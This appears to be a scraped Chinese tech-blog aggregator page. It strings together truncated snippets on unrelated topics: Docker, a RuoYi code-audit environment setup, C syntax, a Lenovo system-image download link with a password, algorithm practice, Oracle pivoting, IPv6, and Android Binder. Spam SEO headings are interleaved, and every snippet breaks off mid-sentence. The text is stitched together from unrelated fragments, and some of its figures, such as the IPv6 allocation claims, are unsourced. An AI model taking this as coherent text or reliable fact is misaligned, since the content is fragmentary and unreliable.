容器化应用程序而不是将它们托管在虚拟机上是过去几年一直流行的概念,使容器管理流行起来。Docker 处于这一转变的核心,帮助组织无缝地采用容器化技术。最近,Docker 用例遍布所有行业,无论规模大小和性质如何。 什么是Docker&…...
若依 RuoYi4.6.0 代码审计
环境布置: 到官网下载源码:https://github.com/yangzongzhuan/RuoYi 采用phpstudy集成数据库,5.7版本。JDK1.8。 IDEA打开项目,等待自动加载,修改application-druid.yml配置文件:数据库名,账…...
C语言入门-选择结构
在编程中,我们经常需要根据不同的条件执行不同的操作。C语言为此提供了几种非常实用的选择结构:条件运算符、逻辑运算、if语句和switch语句。接下来,让我们深入探讨这些重要的知识点,帮助你更好地理解和掌握C语言的选择结构。 1.…...
Legion拯救者 刃7000K-26IAB联想台式机T5 26IAB7(90SU,90SV,90SW,90SX)原厂Windows11系统镜像下载
适用机型:【90SW、90SX、90SU、90SV】 链接:https://pan.baidu.com/s/1gJ4ZwWW2orlGYoPk37M-cg?pwd4mvv 提取码:4mvv lenovo联想原装WIN系统自带所有驱动、出厂主题专用壁纸、系统属性联机支持标志、系统属性专属LOGO标志、Office办公软…...
代码随想录算法训练营第二十四天|Day24 回溯算法
93.复原IP地址 题目链接/文章讲解:https://programmercarl.com/0093.%E5%A4%8D%E5%8E%9FIP%E5%9C%B0%E5%9D%80.html 视频讲解:https://www.bilibili.com/video/BV1XP4y1U73i/ 思路 char** result; int resultTop; int segments[3]; int isValid(char* s…...
网站建设前置审批/新媒体运营需要哪些技能
在报表的开发当中,难免会遇到行转列的问题。以Oracle中scott的emp为例,统计各职位的人员在各部门的人数分布情况,就可以用“行转列”:scott的emp的原始数据为:EMPNOENAMEJOBMGRHIREDATESALCOMMDEPTNO7369SMITHCLERK790…...
无锡哪里有做网站/谷歌账号注册入口官网
?你们的某某项目多少人参与做的(本来下面接着问他你在其中承担什么角色)。 !人多了去了。 ?那是多少人? !好几十人。 ?好几十是多少? !三十多个人。…...
湛江正规网站制作方案/头条新闻今日头条
树上启发式合并,静态链分治(DSU)一,讲解二,使用T1题目友好链接题解codeT2题目友好链接题解codeT3题目友好链接题解codeT4题目友好链接题解codeT5题目友好链接题解code一,讲解 https://www.acwing.com/solu…...
晋城两学一做网站/四川省人民政府官网
让大家对IPv6 有初步了解IPv6诞生的背景和解决的问题IPv6的地址和地址类型IPv6的过渡技术和部署ipv4是2的32次方也就4G多个IP地址,大部份地址都在美国占了70%其它国家只有30%,中国只份了5A9B190C ,中国20几人才一个IP地址而美国1人9个&#…...
上门做网站公司/优优群排名优化软件
(&,|)和(and,or)是两组比较相似的运算符,用在“与”/ “或”上,在用法上有些许区别。 (&,|)和(and,or)…...
汽车网站制作/今日头条新闻最全新消息
在上一篇文章中,我们分析了Android系统进程间通信机制Binder中的Server在启动过程使用Service Manager的addService接口把自己添加到Service Manager守护过程中接受管理。在这一篇文章中,我们将深入到Binder驱动程序源代码去分析Client是如何通过Service…...